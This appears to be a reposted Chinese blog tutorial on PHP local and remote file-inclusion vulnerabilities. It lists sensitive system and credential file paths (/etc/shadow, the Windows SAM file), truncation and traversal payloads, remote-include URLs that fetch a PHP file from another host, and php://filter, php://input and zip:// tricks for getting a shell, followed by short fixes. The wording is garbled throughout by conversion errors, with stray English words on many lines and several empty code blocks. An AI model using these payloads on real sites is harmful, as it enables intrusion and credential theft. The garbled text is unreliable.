文件包含漏洞小結

1 有關概念

前言:php

  PHP中include和require的區別主要是:include在包含過程當中若是出現錯誤,會拋出一個警告,程序繼續正常運行;而require函數出現錯誤的時候,會知己報錯並退出程序的執行。html

漏洞產生緣由:mysql

  文件包含函數加載的參數沒有通過過濾或者嚴格定義,能夠被用戶控制,包含了其餘惡意文件,致使執行了非預期的代碼。web

分類:sql

  本地文件包含和遠程文件包含。shell

2 本地文件包含

可利用途徑:apache

  ·上傳圖片:圖片包含getshellwindows

  ·讀文件:讀取php文件瀏覽器

  ·包含日誌文件getshell服務器

  ·包含/proc/self/environ/文件getshell

  ·有phpinfo可包含臨時文件

  ·包含data://或php://inout等僞協議(須要allow_url_include=On)

2.1 目錄遍歷敏感信息路徑

常見的敏感信息路徑

windows系統:

  c:\boot.ini  //  查看系統版本

  c:\windows\system32\inetsrc\MetaBase.xml   //IIS配置文件

  c:\windows\repair\sam   //存儲windows系統初次安裝的密碼

  c:\programFiles\mysql\my.ini  //MYSQL root密碼

  c:\windows\php.ini // php 配置信息

Linux/Unix系統

    /etc/passwd // 帳戶信息

    /etc/shadow // 帳戶密碼文件

    /usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件

    /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置

    /usr/local/app/php5/lib/php.ini // PHP相關配置

    /etc/httpd/conf/httpd.conf // Apache配置文件

    /etc/my.conf // mysql 配置文件

2.2 session文件包含

利用條件:session存儲位置能夠獲取

  獲取方法1:經過phpinfo信息獲取session存儲位置

  獲取方法2:猜想默認的session存放位置

    Linux下默認存放在/var/lib/php/session目錄下

    windows默認C:\WINDOWS\Temp或集成環境下的tmp文件夾裏

方法:

  存在本地文件包含漏洞,可經過ctfs寫入惡意代碼到session文件中,而後經過文件包含漏洞執行此惡意代碼getshell

2.3 有限制本地包含繞過

繞過方法1:%00 截斷

  條件:magic_quotes_gpc = Off PHP 版本<5.3.4

  測試:?filename=../../../../../../boot.ini%00

繞過方法2:路徑長度截斷

  條件:windows下目錄路徑最大長度爲256字節,超出部分將丟棄;

       Linux下目錄最大長度爲4096字節,超出長度將丟棄

  測試:?filename=text.txt././././.  或?filename=test.txt.....

3 遠程文件包含

  前提:服務器的php.ini的配置選項allow_url_fopen和allow_url_include爲On,則include/require函數式可加載遠程文件的。

有限制遠程包含繞過

 測試代碼:<?php include($_GET['filename'].".html");?>  多添加了html後綴,到最後遠程包含的文件 一會多一個HTML後綴

問號繞過

  測試:?filename=http://192.168.91.133/FI/php.txt?

#號繞過

  測試:?filenamr=http://192.168.91.133/FI/php.txt%23

空格繞過

  測試:?filename=http://192.168.91.133/FI/php.txt%20

4 PHP僞協議使用

php://filter(本地磁盤文件讀取)

條件:只是讀取,須要開啓allow_url_fopen,不需開啓allow_url_include

用法:?filename=php://filter/convert.base64-encode/resource=xx.php

  或:?filwname=php://filter/read=convert.base64-encode/resource=xx.php

php://input(讀取post文件)

   遇到file_get_contents()就要想着用php://input繞過,因PHP僞協議也可裏要補發http協議,便可使用post方式傳遞數據。

測試代碼:<?php echo file_get_contents("php://input");?>

用法

php://input(木馬寫入)

條件:allow_url_fopen和allow_url_include同時開啓 (PHP<5.3.0)

測試代碼:

  

用法:  

  

php://input(命令執行)

條件:allow_url_fopen和allow_url_include同時開啓 (PHP<5.3.0)

 測試代碼:  

              

用法:

    

zip://僞協議

條件: PHP > =5.3.0,注意在windows下測試要5.3.0<PHP<5.4 才能夠 #在瀏覽器中要編碼爲%23,不然瀏覽器默認不會傳輸特殊字符。

用法:?file=zip://[壓縮文件絕對路徑]#[壓縮文件內的子文件名] zip://xxx.png#shell.php 

5 漏洞挖掘

無通用性方法

特定CMS,特定版本可能存在

web漏洞掃描器掃描

6修復方案

PHP中可以使用open_basedir配置限制訪問限制在指定的區域

過濾.(點)/(反斜槓)\(斜槓)

進制服務器遠程文件包含

相關文章
相關標籤/搜索